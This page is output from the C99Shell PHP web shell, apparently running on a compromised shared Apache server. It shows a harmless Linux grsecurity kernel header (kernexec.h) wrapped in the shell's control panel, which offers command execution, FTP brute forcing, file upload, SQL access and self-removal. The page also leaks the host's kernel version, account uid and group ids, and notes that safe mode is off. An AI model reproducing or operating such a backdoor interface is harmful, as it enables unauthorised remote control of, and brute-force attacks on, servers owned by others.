!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/src/linux-headers-6.6.116-grsec-jammy-dirty/arch/x86/include/asm/   drwxr-xr-x
Free 711.95 GB of 879.6 GB (80.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     kernexec.h (1.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
/* Copyright (C) 2004  PaX Team <[email protected]> */

#ifndef _ASM_X86_KERNEXEC_H
#define _ASM_X86_KERNEXEC_H

#ifndef __ASSEMBLY__
#include <linux/compiler.h>
#include <asm/bug.h>
/* NOTE: keep the included headers *very* minimal as this header is included in kfunc.h */

#ifdef CONFIG_PAX_KERNEXEC
#ifdef CONFIG_X86_CET
extern struct static_key_false cet_activated_open;
extern struct static_key_false cet_activated_close;
#endif

#ifdef CONFIG_X86_32
#include <asm/page_types.h>
#include <asm/pgtable_32_types.h>

static inline unsigned long __turn_off_size_overflow __ktla_ktva(unsigned long addr)
{
    BUG_ON(addr >= PAGE_OFFSET);
    return addr + LOAD_PHYSICAL_ADDR + PAGE_OFFSET;
}
#define ktla_ktva(addr) ((typeof(addr))__ktla_ktva((unsigned long)(addr)))

static inline unsigned long __turn_off_size_overflow __ktva_ktla(unsigned long addr)
{
    BUG_ON(addr < PAGE_OFFSET);
    return addr - LOAD_PHYSICAL_ADDR - PAGE_OFFSET;
}
#define ktva_ktla(addr) ((typeof(addr))__ktva_ktla((unsigned long)(addr)))
#else /* !CONFIG_X86_32 */
#define ktla_ktva(addr)        (addr)
#define ktva_ktla(addr)        (addr)
#endif /* CONFIG_X86_32 */

__opens(kernel)
__no_caller_saved_registers __leaf_only __fix_address __maybe_used
unsigned long pax_open_kernel(void);
#define __HAVE_ARCH_PAX_OPEN_KERNEL

__closes(kernel)
__no_caller_saved_registers __leaf_only __fix_address __maybe_used
unsigned long pax_close_kernel(void);
#define __HAVE_ARCH_PAX_CLOSE_KERNEL
#endif /* CONFIG_PAX_KERNEXEC */

#include <asm-generic/kernexec.h>

#endif /* __ASSEMBLY__ */

#endif /* _ASM_X86_KERNEXEC_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0356 ]--